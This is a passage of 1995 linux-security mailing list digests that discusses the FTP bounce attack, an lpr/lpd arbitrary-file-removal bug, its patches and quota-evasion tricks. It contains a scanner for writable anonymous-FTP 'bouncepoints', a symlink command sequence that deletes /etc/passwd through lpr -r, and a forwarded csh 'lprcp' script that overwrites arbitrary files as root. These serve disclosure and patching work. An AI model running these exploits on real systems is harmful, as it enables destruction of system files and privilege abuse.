to by /src/fixkits/README in the anonymous FTP > area here. Read this roadmap before grabbing other things. > > Notes > ===== > > Adding the nulls at the end of the command file was the key to making this > work against a variety of daemons. Simply sending the desired data would > usually fail due to the immediate close signaling the daemon to bail out. > > If WUSTL has not given up entirely on the whole wu-ftpd project, they are > keeping very quiet about further work. Bryan O'Connor appears to have many > other projects to attend to by now... > > This is a trivial script to find world-writeable and ftp-owned directories and > files on a unix-based anonymous FTP server. You'd be surprised how many of > those writeable "bouncepoints" pop out after a short run of something like > this. You will have to later check that you can both PUT and GET files from > such places; some servers protect uploaded files against reading. Many do not, > and then wonder why they are among this week's top ten warez sites... > > #!/bin/sh > ftp -n $1 << FOE > quote "user ftp" > quote "pass -nobody@" > prompt > cd / > dir "-aR" xxx.$$ > bye > FOE > # Not smart enough to figure out ftp's numeric UID if no passwd file! > cat -v xxx.$$ | awk ' > BEGIN { idir = "/" ; dirp = 0 } > /.:$/ { idir = $0 ; dirp = 1 ; } > /^[-d][-r](......w.|........ *[0-9]* ftp *)/ { > if (dirp == 1) print idir > dirp = 0 > print $0 > } ' > rm xxx.$$ > > I suppose one could call this a white paper. It is up for grabs at avian.org > in /random/ftp-attack as well as being posted in various relevant places. > > _H* 950712 > - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. ------------------------------ From: [email protected] (Olaf Kirch) Date: Thu, 13 Jul 1995 00:02:58 +0200 (MET DST) Subject: More on the FTP bounce attack - -----BEGIN PGP SIGNED MESSAGE----- Here's some more info on the ftp bounce attack. As the author does not describe the more malevolent abuses of the FTP protocol explicitly, I will not go into details either. The problem is, this type of attack can be used to talk to other network services as well, like rlogind. For the moment, your foremost line of defense is to make sure your ftpd sets file permissions on upload so that they can't be retrieved. With wu-ftpd, you can do this by adding a line like this to your /etc/ftpaccess: upload /var/ftp /incoming yes ftp ftpadmin 0600 nodirs If you run an ftpd other than wu-ftpd that does allow retrieval of files from incoming, you either have to hack your daemon to do so, or obtain the tcp-wrappers patch mentioned below. (NB: I was not able to log into avian.org). Alternatively, here's a small patch to tcpd from tcp-wrappers-7.2. It's sort of a hack, though. - - --- - - --- tcpd.c.orig Wed Dec 28 17:42:47 1994 +++ tcpd.c Wed Jul 12 23:56:31 1995 @@ -108,6 +108,15 @@ #endif /* + * Deny access from ports below IPPORT_RESERVED/2. + */ + if (ntohs(request.client->sin->sin_port) < IPPORT_RESERVED/2) { + syslog(deny_severity, "connect from illegal port %d", + ntohs(request.client->sin->sin_port)); + refuse(&request); + } + + /* * Check whether this host can access the service in argv[0]. The * access-control code invokes optional shell commands as specified in * the access-control tables. - - --- Olaf - - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. - -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCVAgUBMARGK+FnVHXv40etAQEyzgQAuC5a1zNrCBvmkf44kUOGXODWFzb69rD2 l0LYSpSQ90GAPmfvdVTt0DkruvoGkyPgCLiDs7SUbrZloitsA4TwNAy9sOBHwFHt OzThx7o+NpZtqz4tb7qrj8mr7/aEvV8g2B/ovpccTIkT3geaSZRD/fi4vjp8Sglo lxnJNg3c6h4= =4Q3h - -----END PGP SIGNATURE----- ------------------------------ From: Aleph One Date: Thu, 13 Jul 1995 17:09:18 -0500 (CDT) Subject: lpr(1) bug Problem: lpr(1) can be fooled into removing any file in the system by means of the -r flag. lpr(1) uses the access system call to determine if the parent directory of the file is writable by the real uid. If it is, it assumes the file can be unlinked. The problem arises in that lpr(1) does not check for directories with the sticky bit set (eg. /tmp). What fallows is a small (and damm ugly) hack to fix it. All credit goes to Zygo Blaxell for pointing this out in the linuxisp maling list. A patched version will be uploaded to sunsite later today. The MD5 signature fallows: MD5 (lpr-secure) = d41d8cd98f00b204e9800998ecf8427e The patch fallows: diff -u --recursive lpr/lpr/lpr/lpr.c lpr-secure/lpr/lpr/lpr.c - --- lpr/lpr/lpr/lpr.c Mon May 23 02:05:02 1994 +++ lpr-secure/lpr/lpr/lpr.c Thu Jul 13 14:26:08 1995 @@ -548,6 +548,7 @@ char *file; { struct exec execb; + struct stat stats; register int fd; register char *cp; @@ -604,14 +605,32 @@ (void) close(fd); if (rflag) { if ((cp = rindex(file, '/')) == NULL) { - - if (access(".", 2) == 0) - - return(1); + if (access(".", 2) == 0) { + stat(".", &stats); + if (stats.st_mode & S_ISVTX) { /* Sticky bit */ + stat(file, &stats); + if (stats.st_uid == userid) { + return(1); + } + } else { + return(1); + } + } } else { *cp = '\0'; - - fd = access(file, 2); + if (access(file,2) == 0) { + stat(file, &stats); + *cp = '/'; + if (stats.st_mode & S_ISVTX) { /* Sticky bit */+ stat(file, &stats); + if (stats.st_uid == userid) { + return(1); + } + } else { /* Sticky bit is set */ + return(1); + } + } *cp = '/'; - - if (fd == 0) - - return(1); } printf("%s: %s: is not removable by you\n", name, file); } Aleph One / [email protected] http://underground.org/ ------------------------------ From: Linas Vepstas Date: Sat, 15 Jul 95 11:32:43 -500 Subject: Phrack Hi, I scanned the hypermail archive; no one seems to have discussed Phrack in any way. Phrack is a magazine devoted to phone freaking & computer hacking. The cheif editor lives here in Austin, TX; my internet provider is the home for the publication. The publication includes source code for a variety of appearently nasty little programs. I scanned the code; some look silly, some look like they may be legitametely dangerous. Most won't do anything in and of themselves, but are rather tools (e.g. software packet sniffers). Has anybody gone over these to see just what sort of danger they present to Linux? Are these considered to be a non-issue, because they are "well-known"? To get to them, see http://fc.net/phrack.html This will point to 47 issues on-line, and another pile of back-issues that are ftp'able. Somewhere in the middle, past the letters to the editor, and general articles, are entire sections (100K+) devoted to source code. Please cc me on replies ... I am not a regular subscriber, although I do check out the hypermail archives. - --linas ------------------------------ End of linux-security-digest V1 #27 *********************************** linux-security-digest/1995/v01.n028100664 1767 1767 32133 6004647603 16057 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #28 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Monday, 24 July 1995 Volume 01 : Number 028 COPS Re: [Linux-ISP] lpr(1) bug YAWTCQ Re: YAWTCQ Re: YAWTCQ Tentative fix for BSD lpr ---------------------------------------------------------------------- From: Linas Vepstas Date: Sat, 15 Jul 95 11:44:15 -500 Subject: COPS Hi, This may be the wrong place to ask, but ... Is there a version of COPS customized for Linux? I pulled a copy down, and it did autoconfigure & compile & etc. but overall was fairly useless. Things like looking for files in the wrong directories, bogus error messages (it thought that my /etc/passwd had accounts without passwords, but visual inspection shows that that is not the case). And it fails to look for important things -- like ghostscript usage without -dSAFER, or otherwise nasty .mime/types files, etc. What's the word? - --linas ------------------------------ From: Zygo Blaxell Date: Mon, 17 Jul 1995 22:42:58 -0400 (EDT) Subject: Re: [Linux-ISP] lpr(1) bug [mod: we're working on a fix for these problems. --okir] Quoted from Aleph One: > What fallows is a small (and damm ugly) hack to fix it. All credit goes > to Zygo Blaxell for pointing this out in the linuxisp maling list. A Uh oh, it's got my name on it. Better make sure it works... > lpr(1) uses the access system call to determine if the parent directory > of the file is writable by the real uid. If it is, it assumes the file > can be unlinked. The problem arises in that lpr(1) does not check for > directories with the sticky bit set (eg. /tmp). [ patch deleted] D'oh! It doesn't. :( The patch doesn't fix the problem at all. I've included an exploit script that you can test fixes with; alas, these days all I have time to do with lpr is rm it. The lpr/lpd code should be rewritten such that it does not ever use access (or stat, for that matter). The access control check should be done by the OS, and the unlink call should be done with whatever uid/gid privileges the party invoking lpr had (unless the file to be unlinked is in the spool directory, of course). Ditto with the open() call with 'lpr - -s', although I don't know if this is an actual bug in lpr (if it's implemented the way I think it is, you should be able to print any file with lpr -s). The problem is that lpr/lpd invokes unlink() with super-user privileges. Consider: mkdir /tmp/foobar ln -s /etc/passwd /tmp/foobar lpr big_huge_file lpr -r /tmp/foobar/passwd rm -rf /tmp/foobar ; ln -s /etc /tmp/foobar OR ln -fs /home/private_file /tmp/foobar/passwd # Does this work? /etc/passwd goes away. Even if the access() check was moved closer to the unlink call, there is still a race condition in the code (explaining the exploit would take another 50 lines of message; essentially it makes 'stat' take about 30 seconds to execute, and demonstrates why race conditions are bad). - -- Zygo Blaxell, former sysadmin and current software/hardware guru for the University of Waterloo Computer Science Club; current sysadmin for miranda. uwaterloo.ca and ezmail.com. 10th place team, ACM Intl Finals Programming Contest 1994. Will administer Unix (esp. Linux, maybe Solaris) for food. ------------------------------ From: Aleph One Date: Tue, 18 Jul 1995 16:38:41 -0500 (CDT) Subject: YAWTCQ Yet Another Way To Cheat Quotas Background: Crond keeps the users crontabs under /var/spool/cron/crontabs. They are owned by root. Dont ask me way but I recall it has something to do with some security issue. Anyway... crontab bighuge.tgz rm bighuge.tgz to recover: crontab -l > bighuge.tgz the crond man page sees it will onlie accept files with lines not longer then 1024 and no more then 256 lines. This gives you around 256K. Aleph One / [email protected] http://underground.org/ ------------------------------ From: Zefram Date: Wed, 19 Jul 1995 18:52:11 +0100 (BST) Subject: Re: YAWTCQ >Yet Another Way To Cheat Quotas "Yet Another"? Being new to this list, I'd like to know what people have come up with in the past. Is there an archive of the list? [mod: The list is archived on http://www.sonic.net/hypermail/security and ftp://linux.nrao.edu/pub/linux/security/list-archive. --okir] >Background: Crond keeps the users crontabs under /var/spool/cron/crontabs. >They are owned by root. Dont ask me way but I recall it has something to >do with some security issue. Anyway... Probably to stop anyone giving someone else a crontab. The directory is root-only writable, crontab is setuid root. But there's no reason it couldn't chown it. Curiously, at jobs *are* owned by the user (otherwise crond wouldn't know who to execute them as), and it is possible to edit them, and this does not pose any serious security threat that I am aware of. It's even safe on systems where anyone can chown their files to anyone, as the at job must have the setuid bit set in order to be executed. >crontab bighuge.tgz >rm bighuge.tgz > >to recover: > >crontab -l > bighuge.tgz > >the crond man page sees it will onlie accept files with lines not longer >then 1024 and no more then 256 lines. This gives you around 256K. You'd have to encode the file into a legal crontab file, which reduces this number somewhat. Anyway, who has quotas on /var? - -zefram ------------------------------ From: [email protected] (=?ISO-8859-1?Q?Thomas_K=F6nig?=) Date: Thu, 20 Jul 1995 18:05:13 +0200 (MET DST) Subject: Re: YAWTCQ > Curiously, at jobs *are* owned by the user > (otherwise crond wouldn't know who to execute them as), This also serves as a sort of authenticication, on a system with restricted chown(), as Linux is, only the user can have created that file. The problems which occur when a program written with that assumption moves into a universe in which this doesn't hold are easy to imagine. > and it is possible to > edit them, and this does not pose any serious security > threat that I am aware of. This does not hold true for Linux. It is no longer possible to edit at jobs there in newer versions; as turned out recently, this was a very wise descision, because there did indeed lurk a potential fatal security hole there. > It's even safe on systems where anyone can > chown their files to anyone, as the at job must have the setuid bit set > in order to be executed. You're definitely not speaking of Linux at there :-) Let's just hope that whoever implemented that particular system also made the scripts non - executable, in that case. - -- Thomas K�nig, [email protected], [email protected]. The joy of engineering is to find a straight line on a double logarithmic diagram. ------------------------------ From: [email protected] (Olaf Kirch) Date: Sun, 23 Jul 1995 01:06:13 +0200 (MET DST) Subject: Tentative fix for BSD lpr - -----BEGIN PGP SIGNED MESSAGE----- Hi all, here's a patch to the BSD lpr stuff from NetKit-B-0.05. Apart from the bug Zygo Blaxell reported, I stumbled across some more. * lpr -r and lpr -r -s would remove arbitrary files in some cases. Unfortunately, the file removal code is scattered throughout several programs and source files. I found the following places: lpr: after the job has been spooled (lpr -r) lpd: after the job has been successfully printed (lpr -r -s) lprm: when removing a pending job (lpr -r -s) Unlinking now always happens under the euid/egid of the user who submitted the job. This is easy for lpr, but slightly more difficult for lpd/lprm. Trusting that the job description files are ok, I extract the user and host name and match them against hosts.equiv and .rhosts to make sure the accounts are equivalent. There's a tiny difference between lpd and lprm: lpd still has the FQDN of the original submitter's host, while lprm has to use the host information from the job description file (currently not checked against the sender's hostname). * Made the /dev/printer Unix socket mode 600. It used to be 777 thus allowing anyone to submit faked jobs with false credentials. * Avoid the FTP bounce attack. * Fixed a possible stack overwrite problem in rmjob.c. I have the feeling that this is not the only one... can you say RTM? Please let me know if it works for you. I'll send out the patch to linux-alert in a few days if no-one complains, or if someone comes up with a cleaner one. If anyone knows where to reach the BSD people who maintain this beast, please drop me a note. Have a nice day everyone, Olaf - - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. table `!"#$%&'()*+,-./0123456789:;<=>? @ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_ begin 644 lpr.diff.gz M'XL(",J#$3```VQP#(<3D8#L/?V1JU>K_?XSL8Y+OFIC&#HP&`PL>V)P\NV6Z]>0=_>&5MCw MZ-''#KQZU0+#F[D9;`1A)/9;\!4);X^.#V'#"]+]5D_.1LDT=N?BRAE^@@-Hv MMY$1^<(`S"?>[-:DM=TN4HQ,%&46[\N3=AW+MO&HW9%E[\JSC,`MW,AL>VXX;At MN;F`SH?.A`9&7F2QE]Z92F`+B+EG6Y"'_Q9)H.G=OMW=YP5:LP?SI&CGXZ`Cs MV6XRX=Z2>.J\R\X$8&L#RA@/N`4WSQ,O=`OT%RF2P\86\;*%@BR9PY,#F"5Yr MP38RC#0+XR(PV\_R":#N/+/?ZM(V!q M^^@)'\E:::4AR>`G2SNBN5$H2[L57==KBK7NK)5-192+Y47?E*$VWSW^HA_Sp MB`SP8-C(+(C)=I)MH[0P^;2_'/,4VEL;4AI[S[('*,YPQ[(=*0_9DP3&^`@Hn M?CGZ+6AG;0S4@P,XO3P^;MP%<_"ML.Y+_ZB0IN48REUV*X8R17+:,&5?&AY6m ME[Q;7C);MOZ:`^35J6Y+^N">I/4-2:\:M*5;<0^/2;.R_^S!_K-Z_]E5@[:\l M_S=B!=@_#H8)@IDS'%K.6"%,Q;[(PD*8-V5@`1X>K\'&W"I+C??Z4TB;;5Z&'2M7G6?I._I`EM0YB+K5J$F`U:/B*,>j M$2>.R$AHHM(K($4$6?C&1KH@KC+TKPOT-7ZB/3!FZ)O)]IJJJ6DU-=53*!D'i MW3ZI(*$'92"O(/ITMCI\RV500D/\;LW/!_[^.SPA`7$ADFG81#!X_APRFDYNh M3:GV0&JN](<7,%#+S'0A14P7B#(F3UK3CRH,JM%R,5"1C9,DAA/We MCC(YIO'!]F0P7"X`:M:5I#^:.*-&TM_>XZ2/'PI5C?PN1_@WC]__]?KP[`SQd MJ[P)8W\"S^9M>4/$E[`P;7TO,'+GB6]>?WA]\>[Z_/V;GP\O3E^?'*+[QP-$c M.`1,6`CPW"C"'%C.W?P6@0_(\=#:14@>.Y8L*BCN,TH]>9'O&R3)4T@"a MR-,DB4!/L`1T^_".B2Q/8LE)Z8^8)0W\)(RG9-@Y\[?ZO(+B_X9J'U83`27`z M``B2#-$C%''1R6'N>C,$.+D=KI3K/&2]^LOEV_.C?\BE5*ZYL<]@J/FO.^<9!R@#>W*<-\BM"6\JH[;B,HK9%WSB=8QF)(S+VB!*@`[W1x M<%`EP"K_*NPB&!"4BF>4/.MIF5)I-EBB2PRD++R1IU7J=HGQ:GO`V9@R>Q!Fw M.5UKFPCB"ZZ,U5)4JKB.B\0UNYKY!JNR"&O)`\8$RN!!_V4>QM=IDM$FR#W+v MS0:-LRECI*0%[CR,[@CE7K^]/CH]O&#@:^SQ\@"./GQX?W9Q?79X?GCVR^&/u M78VR?WH'Y"`K;%O#;J-T/G$CC(DYE9J$RZ[O(U+E\M+.4HFX9,N;t M.YK"4H5MUGVNCB`B>9I.58E7^5%-=BU8TDA=NY&S:PV'&`G.7E7-\P.`BHYYs M:LJ*DDO9I9<`7B(CYV*)XIO=32-79L2^+HPP%&350/%N-A90D%#2P54O9#%]r M`STM.0^[T`?$*;SPO9YZ*I!@M([*D%=P3q MZ1NT-Y-4S?-U:3K,RQ011"KQ`Q1)E"SDD"2:Z.7+)5-SD2Z86.;F^FZC:.[3p M>55]A,ZFFU55H1*9W[T_OS@__-OET2^R(D4^=^J&\41YB]7!C&L"8A"%X&@8'A^=_FP8VP1>#--%6&#UMCM0D/[;;VG6Z0!3l M&IP`>56*k MZ8_>L$4"-W>0W\VY_J7#PCBAE?BA5N(W_WL6-E(H`SQG4=J`X@8S&M>4.JTMj MY4)FK]/A(_S25HW^Q!(WTL.XRI:2%]W+O/9`FQ8I@*C#FBSS>A'6Y?6N/`R#i MT'.+$,,I"$7D:U,[]I!L[=B.+K'6/?D>Z6-4?85WG4GS):?ML/*AZ(LC$LADX(SWF.E=P:6;O!(g M/9S.I!Z,Y*!^B-KR2<(B](V&NKAY?J7LTN_8G4\KBM>:/\II249#6X(9T^]P%V7'T3??"'(Ad M;BD&L6(_QI]'FQ(Z?39?])?*3_\GW?Z46K1"NF0/M4+TW7-V="&BWUOT:#]Wc M`X%EF'F$4)&*;M6A6WK$-\3\GU_P2_VU![OQTS(7L3]WPTA-2ZPGP^EN`Z#@b MF@DPBS$!H!!1A$^3)$4SX%.J+!BJL+A'`B$0L2F;[`WY@3<8C*EAI0)UI6LIa MTXZ\B[IM]S%>N#E0NX\IB.$WPG-+JE$*T%.DFD1W=`]0=@UC5[KG8]Q>[O'Iz MEJQ44G9E'QXFS27PO8DET#Q$5*77EXA#[AZN[1H:01"5^7'O3)SMND)P1F-&QE'59I=*>`FB5XA55C9=HT(Hx MFWS\JJ"B5T45,5=]BI5)#N*:H>E;:B_3#QD\$W-\BLO6K.R,:PGN52]M/.`0w MH@\E,L1QMQ57EPKS6S[W!BX(%R%U2-A2Mu M_K1PSZ_0JBG;>ZJZV+IW0SHP6>K<`I%E26;3A=&G`KVJ\<@R9@H=*.-UG86Jt MTV2ODR\[MP]7X*?+,BR]CA7V?*V:@8_W`A]K!:+P=6=/M[R0BYD>M-(&JQTSs MY"R_S6GB"2MM-\DLWPBKCO+JQAJ%(KMEHOZX('-V[2[JU69L?3HD3KJLU?U_r IU]1[*(;W![V])U742`3B!%6F9G6Z,@%K_O)`9E&=?/X#9K!1DQ(<``"Lq `p end - -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCVAgUBMBGEIOFnVHXv40etAQFQmgQAlBDi+2eKPQAWWq5e/ddyZTJbtY1JSUr6 9L3pb+Xu8sPm2tO65HysxCZiOyLslFQFzMlDZWEBh2Ic0iXYiuv+90BWgOOGzaaq Jzsp48fe2K5HnD7jBD/qyhPsMtTxFgPh7mfznCJTV/ziHJDaoWBRIcDu5geDJtC4 V0T9gvnM50A= =q2aq - -----END PGP SIGNATURE----- ------------------------------ End of linux-security-digest V1 #28 *********************************** linux-security-digest/1995/v01.n029100664 1767 1767 41626 6007355602 16065 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #29 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Tuesday, 1 August 1995 Volume 01 : Number 029 Re: Tentative fix for BSD lpr Re: Tentative fix for BSD lpr Re: YAWTCQ proc-less network tools (summary) Re: YAWTCQ Re: YAWTCQ (fwd) Re: suid root lpr Linux Security FAQ Update#5: Cipher-3.0/deslogin-1.3 and GCC 2.7.0 ---------------------------------------------------------------------- From: Florian La Roche Date: Mon, 24 Jul 1995 22:58:31 +0200 (MET DST) Subject: Re: Tentative fix for BSD lpr Could someone please check out plp 4.0.2 as on ftp.iona.ie:/pub/plp Has it also some of the BSD-lpr bugs? I have compile it with the following patches, but I haven't tested it yet. Should we suggest to Linux users to use plp instead of BSD lpr? Or someone who wants to check the current source from NetBSD, if lpr has changed alot in it? Have they already done most of the bug-fixes? Sorry for just posting questions and no answers... Florian La Roche - --- Makefile.Linux +++ Makefile.Linux 1995/07/14 10:30:21 @@ -0,0 +1,11 @@ +flags = CCOPTFLAGS='-O2 -fomit-frame-pointer -pipe' + +src/Makefile: src/Makefile.in + cd src && ./configure --prefix=/usr + +compile: src/Makefile + make $(flags) -C src + +install: + make install install.man $(flags) -C src + - --- src/library/setuid.c +++ src/library/setuid.c 1995/07/14 10:21:30 @@ -465,7 +465,7 @@ *args[argno] = '\0'; was_quote: - - if ((len = strcspn(cmd, meta_or_quotes_or_blanks)) != NULL) { + if ((len = strcspn(cmd, meta_or_quotes_or_blanks)) != 0) { argsize += len; args[argno] = (char *) realloc (args[argno], argsize); } ------------------------------ From: Baba Z Buehler Date: Tue, 25 Jul 1995 15:59:49 -0500 Subject: Re: Tentative fix for BSD lpr Florian La Roche writes: > Could someone please check out plp 4.0.2 as on ftp.iona.ie:/pub/plp > Has it also some of the BSD-lpr bugs? > I have compile it with the following patches, but I haven't tested it > yet. > Should we suggest to Linux users to use plp instead of BSD lpr? > Or someone who wants to check the current source from NetBSD, if > lpr has changed alot in it? Have they already done most of the bug-fixes? > > Sorry for just posting questions and no answers... > I have been working with the people who develop PLP for the last 6 months now, and we are using it here on our Sun machines as our Institute-wide printing server. I have also been running it on my Linux machine. The PLP people are very security aware and are even working on a totally new distributed printing system that circumvents many of the current BSD-style lpr/lpd problems. I've found PLP to be a very good replacement for the lpr/lpd that came with my Slackware distribution. I also operate a U.S. mirror of the PLP distribution (the link into ftp.iona.ie, in Ireland can be very slow at times). ftp://ftp.beckman.uiuc.edu/pub/plp/ thanks, - -- # Baba Z Buehler - 'Hackito Ergo Sum' # Beckman Institute Systems Services, Urbana Illinois # # "Fasten your seat belts because it's going to be a bumpy ride . . . # not because there's any turbulence, mind you, but because I still # think HTML is an old Village People tune." -- Michelle Street # # WWW: http://www.beckman.uiuc.edu/groups/biss/people/baba/ # PGP public key on WWW homepage and key servers (key id: C13D8EE1) ------------------------------ From: [email protected] (Martin Schulze) Date: Fri, 21 Jul 1995 20:30:24 +0200 (MET DST) Subject: Re: YAWTCQ Hi T-Rex! }> Curiously, at jobs *are* owned by the user }> (otherwise crond wouldn't know who to execute them as), } }This also serves as a sort of authenticication, on a system with }restricted chown(), as Linux is, only the user can have created }that file. [ Speaking for at jobs, not for crontabs, just to avoid confusion ] Yes, but wont't it be more secure to manage a database file containing the user, group and file to execute? Then the script might be owned by daemon.daemon or whatever, and you can't read it anymore. And if I think about cheating a possibly existing quota, does there exist a limitation in the length of at jobs? (haven't looked at the source) }The problems which occur when a program written with that assumption }moves into a universe in which this doesn't hold are easy to imagine. } }> and it is possible to }> edit them, and this does not pose any serious security }> threat that I am aware of. } }This does not hold true for Linux. } }It is no longer possible to edit at jobs there in newer versions; }as turned out recently, this was a very wise descision, because there }did indeed lurk a potential fatal security hole there. I do understand that. And it's also impossible to look at the script after installing it. And that's - at least for me - bad, because every once in a while I have to cancel such a job, but I don't know which one. On the other hand it may also no good idea if they could be readble after installing. }Let's just hope that whoever implemented that particular system }also made the scripts non - executable, in that case. Uoh, mine are executable and they are owned by joey.users, but I can neither read nor execute them. And they are NOT suid. regards, Joey - -- / Martin Schulze * [email protected] * 26129 Oldenburg / / +49-441-777884 * Login&Passwd: nuucp * Index: ~/ls-lR.gz / / http://home.pages.de/~joey/ / Unix is user friendly ... It's just picky about it's friends / - ---------------------------------------------------------------- 30.7.95: Oldenburger Linux-Stammtisch, DaCapo, ab 20:00 ------------------------------ From: [email protected] (Olaf Kirch) Date: Tue, 18 Jul 1995 22:24:53 +0200 (MET DST) Subject: proc-less network tools (summary) Hi all, here's Dan's summary on his question about using the network tools without proc support. Olaf > > Hello Olaf, it looks like the the last summary already had the important > reply to my question, except for this from Al Longyear. > > From: [email protected] (Al Longyear) > It has long been a requirement for the proc file system if you use any > networking tools. The networking tools use the proc file system for > access to the system structures in the kernel. > You are free to not use the proc file system, but you can not use any > IP networking if you do. UUCP will work. > > > From: Marek Michalkiewicz > Hi, it shouldn't be necessary to run the system without the /proc > filesystem. Please try my kernel patch which should hopefully fix the > problem. The patch is against 1.2.10 and I've sent it to Linus, but I > don't know when 1.2.11 will be released... In the meantime, try > ftp://ftp.ists.pwr.wroc.pl/pub/linux/kernel/patches/secure_proc_v2.gz > Please test this and tell me if you see any problems or remaining holes. > Regards, Marek Michalkiewicz > > > Thanks a bunch, and its been an honor communicating with you :) > Daniel Pewzner [email protected] - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. ------------------------------ From: Cristian Gafton Date: Thu, 20 Jul 1995 04:08:08 +0300 (EET DST) Subject: Re: YAWTCQ Yet Another Way To Cheat Quotas > >crontab bighuge.tgz > >rm bighuge.tgz > > > >to recover: > > > >crontab -l > bighuge.tgz > > > >the crond man page sees it will onlie accept files with lines not longer > >then 1024 and no more then 256 lines. This gives you around 256K. Cute. Another one: Suppose you want to keep with you some files, but you can't because of quota. Solution: attach each one into a separate message and send that messages to yourself. And if the admin of the computer you have the account on was 'smart' enough to give sendmail a bigger timeout, be sure that those messages will sit in the sendmail queue with a nice (Deferred: ... Insufficient disk space) error. Not too much details, but I hope you've got the idea ... Cristian Gafton Cristian Gafton, SysAdm [email protected] - ---------------------------------------------------------------------- Computers & Communications Center str. Moara de Foc nr. 35 Phone: 40-32-252936, 252938 PO-BOX 2-549 Fax: 40-32-252933 IASI 6600, ROMANIA ====================================================================== Good code is hard to write, so it must be hard to understand. ------------------------------ From: [email protected] (=?ISO-8859-1?Q?Thomas_K=F6nig?=) Date: Sat, 22 Jul 1995 02:16:18 +0200 (MET DST) Subject: Re: YAWTCQ > [ Speaking for at jobs, not for crontabs, just to avoid confusion ] > > Yes, but wont't it be more secure to manage a database file containing > the user, group and file to execute? Then the script might be owned by > daemon.daemon or whatever, and you can't read it anymore. This is certainly a possibility. However, the at/atrun pair is already at the limits (IMHO) of complexity for root - privileged programs. I would't want to add database routines, which probably add their own set of bugs and problems. Also, this would mean that anybody who cracks daemon will easily be able to crack any user's account; with the current setup, I at least took some care that this should not happen with the current scheme. (If I overlooked something, please tell me :-) > And if I think about cheating a possibly existing quota, does there > exist a limitation in the length of at jobs? (haven't looked at the > source) I have to confess ignorance how the Linux quotas work, especially as to which checks are performed at which time, and who gets charged for quota after a chown on an open file. Can anybody shed light on this? > }It is no longer possible to edit at jobs there in newer versions; > }as turned out recently, this was a very wise descision, because there > }did indeed lurk a potential fatal security hole there. > > I do understand that. The only exploitation I was aware of was fiddling with the username to send unwanted options to sendmail. If anybody's aware of any other, please tell. > And it's also impossible to look at the script > after installing it. Adding this, I think, should not pose any risk. Check for matching userid, open the file, drop all privileges, and copy the file to standard output. No hole that I can see; consider it on my TODO list. - -- Thomas Koenig, [email protected], [email protected]. The joy of engineering is to find a straight line on a double logarithmic diagram. ------------------------------ From: Cy Schubert - BCSC Open Systems Group Date: Mon, 24 Jul 1995 10:07:40 -0700 Subject: (fwd) Re: suid root lpr I've noticed a bit of discussion about the lpr/lpd hole in the comp.security.unix newsgroup. As seen below the problem affects other commercial operating systems as well. Regards, Phone: (604)389-3827 Cy Schubert OV/VM: BCSC02(CSCHUBER) Open Systems Support BITNET: [email protected] BC Systems Corp. Internet: [email protected] [email protected] "Quit spooling around, JES do it." > IUP Computer Science Club ([email protected]) wrote: > : I am wondering if lpr suid root is truly secure. Of course no suid root > : program is truly secure, but does anyone know of any particular holes? > : If there was a way to call a user made filter, instead of the printcap > : called filter, could one achieve a shell escape from there? Is it > : in any way possible to call a filter from other than within the untouchable > : printcap ? > : Any help would be appreciated. I know lpr need not be suid root, but I > : am still curious. Thanks. > > It still is insecure. If you have a printer set up from many of the > commercial or shareware unix OS's (SunOS, Linux, BSD) you may or may not > be vulnerable. Here is a program to see if you are or not. Run it from a > non-privlidged account and see what comes up. > > Its a relatively simple program, but gives you an idea of what damage > could be done in somebody else's hands. Please don't use this to exploit > or damage other people's systems - that isn't what i post it here for. I > post it here so that people can be saved the headache and time wasted of > a hacker intrusion. > > good luck, > > andrew > > #!/bin/csh -f > # > # Usage: lprcp from-file to-file > # > > if ($#argv != 2) then > echo Usage: lprcp from-file to-file > exit 1 > endif > > # This link stuff allows us to overwrite unreadable files, > # should we want to. > echo x > /tmp/.tmp.$$ > lpr -q -s /tmp/.tmp.$$ > rm -f /tmp/.tmp.$$ # lpr's accepted it, point it > ln -s $2 /tmp/.tmp.$$ # to where we really want > > @ s = 0 > while ( $s != 999) # loop 999 times > lpr /nofile >&/dev/null # doesn't exist, but spins the clock! > @ s++ > if ( $s % 10 == 0 ) echo -n . > end > lpr $1 # incoming file > # user becomes owner > rm -f /tmp/.tmp.$$ > exit 0 > ------------------------------ From: alex Date: Wed, 26 Jul 1995 15:16:33 -0400 (EDT) Subject: Linux Security FAQ Update#5: Cipher-3.0/deslogin-1.3 and GCC 2.7.0 - -----BEGIN PGP SIGNED MESSAGE----- Linux Security FAQ Update Cipher-3.0/deslogin-1.3 problems caused by GCC 2.7.0 July 26, 1995 15:01 EST Copyright (C) 1995 Alexander O. Yuriev ([email protected]) CIS Laboratories TEMPLE UNIVERSITY U.S.A. ============================================================================= This is an official update of the Linux security FAQ, and it is supposed to be signed by one of the following PGP keys: 1024/544C7805 1994/07/17 Jeffrey A. Uphoff Jeffrey A. Uphoff 1024/EFE347AD 1995/02/17 Olaf Kirch 1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key Unless you are able to verify at least one of signatures, please be very careful when following instructions. Linux Security WWW: http://bach.cis.temple.edu/pub/linux/linux-security linux-security & linux-alert mailing list archives: ftp://linux.nrao.edu/pub/linux/security/list-archive ============================================================================= The cipher-3.0 is a high speed DES cipher used by the deslogin(1) (encrypted login) and deslogingw(1) (encrypted login via gateway) protocol to perfom encryption of the session. Those who installed GCC 2.7.0 when compiling cipher-3.0 *HAVE TO TURN OFF* all optimization. Even with the minimum optimization level (-O) GCC 2.7.0 breaks the code of cipher. When compiling cipher-3.0 edit the Makefile and change CFLAGS and LDFLAGS to "-pipe -static" 